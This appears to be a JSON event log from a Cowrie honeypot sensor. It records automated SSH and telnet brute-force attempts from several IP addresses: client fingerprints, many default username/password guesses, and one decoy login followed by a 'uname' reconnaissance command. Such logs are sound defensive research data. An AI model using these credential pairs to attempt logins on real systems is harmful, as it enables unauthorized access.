{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:57.654769Z","src_ip":"192.109.200.237","session":"120fe97926e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":53668,"dst_ip":"159.203.135.109","dst_port":23,"session":"089c92e53d41","protocol":"telnet","message":"New connection: 209.127.178.212:53668 (159.203.135.109:23) [session: 089c92e53d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:58.781663Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43918,"dst_ip":"159.203.135.109","dst_port":22,"session":"986e1ed97281","protocol":"ssh","message":"New connection: 192.109.200.237:43918 (159.203.135.109:22) [session: 986e1ed97281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:59.595521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:59.601153Z","src_ip":"192.109.200.237","session":"986e1ed97281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:59.687588Z","src_ip":"192.109.200.237","session":"986e1ed97281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:59.936282Z","src_ip":"192.109.200.237","session":"986e1ed97281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:01.021825Z","src_ip":"192.109.200.237","session":"986e1ed97281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":56162,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d22f12f6264","protocol":"ssh","message":"New connection: 192.169.243.246:56162 (10.17.0.5:22) [session: 2d22f12f6264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:01.702542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:01.708911Z","src_ip":"192.169.243.246","session":"2d22f12f6264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:01.782421Z","src_ip":"192.169.243.246","session":"2d22f12f6264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux@2023","message":"login attempt [root/linux@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:02.104463Z","src_ip":"192.169.243.246","session":"2d22f12f6264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39334,"dst_ip":"159.203.135.109","dst_port":22,"session":"c743796814b5","protocol":"ssh","message":"New connection: 192.109.200.237:39334 (159.203.135.109:22) [session: c743796814b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:03.059563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:03.072434Z","src_ip":"192.109.200.237","session":"c743796814b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:03.143153Z","src_ip":"192.109.200.237","session":"c743796814b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:03.179933Z","src_ip":"192.169.243.246","session":"2d22f12f6264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:03.465558Z","src_ip":"192.109.200.237","session":"c743796814b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:04.550343Z","src_ip":"192.109.200.237","session":"c743796814b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39346,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6e0fe794628","protocol":"ssh","message":"New connection: 192.109.200.237:39346 (159.203.135.109:22) [session: d6e0fe794628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:06.453798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:06.457736Z","src_ip":"192.109.200.237","session":"d6e0fe794628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:06.539587Z","src_ip":"192.109.200.237","session":"d6e0fe794628","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:06.787676Z","src_ip":"192.109.200.237","session":"d6e0fe794628","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:06.990494Z","src_ip":"192.109.200.237","session":"d6e0fe794628","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:06.992993Z","src_ip":"192.109.200.237","session":"d6e0fe794628","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:07.076582Z","src_ip":"192.109.200.237","session":"d6e0fe794628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:07.081320Z","src_ip":"192.109.200.237","session":"d6e0fe794628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39360,"dst_ip":"159.203.135.109","dst_port":22,"session":"a87bcd6c5fc0","protocol":"ssh","message":"New connection: 192.109.200.237:39360 (159.203.135.109:22) [session: a87bcd6c5fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:09.759040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:09.765290Z","src_ip":"192.109.200.237","session":"a87bcd6c5fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:09.848212Z","src_ip":"192.109.200.237","session":"a87bcd6c5fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:10.095693Z","src_ip":"192.109.200.237","session":"a87bcd6c5fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:11.180774Z","src_ip":"192.109.200.237","session":"a87bcd6c5fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40500,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4e13388b9fb","protocol":"ssh","message":"New connection: 192.109.200.237:40500 (159.203.135.109:22) [session: e4e13388b9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:13.271451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:13.367748Z","src_ip":"192.109.200.237","session":"e4e13388b9fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:13.449410Z","src_ip":"192.109.200.237","session":"e4e13388b9fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:13.696406Z","src_ip":"192.109.200.237","session":"e4e13388b9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:14.781018Z","src_ip":"192.109.200.237","session":"e4e13388b9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.681461572647095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:15.642423Z","src_ip":"152.42.224.71","session":"1f2ec4105a96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.82986807823181,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:16.113809Z","src_ip":"152.42.224.71","session":"48becda0400c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40502,"dst_ip":"159.203.135.109","dst_port":22,"session":"f225a88355c5","protocol":"ssh","message":"New connection: 192.109.200.237:40502 (159.203.135.109:22) [session: f225a88355c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:16.596252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:16.600804Z","src_ip":"192.109.200.237","session":"f225a88355c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:16.682763Z","src_ip":"192.109.200.237","session":"f225a88355c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":51082,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee55c67dc918","protocol":"ssh","message":"New connection: 103.75.183.219:51082 (10.17.0.5:22) [session: ee55c67dc918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:16.837417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:16.850321Z","src_ip":"103.75.183.219","session":"ee55c67dc918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:16.937699Z","src_ip":"192.109.200.237","session":"f225a88355c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:17.099223Z","src_ip":"103.75.183.219","session":"ee55c67dc918","protocol":"ssh"}
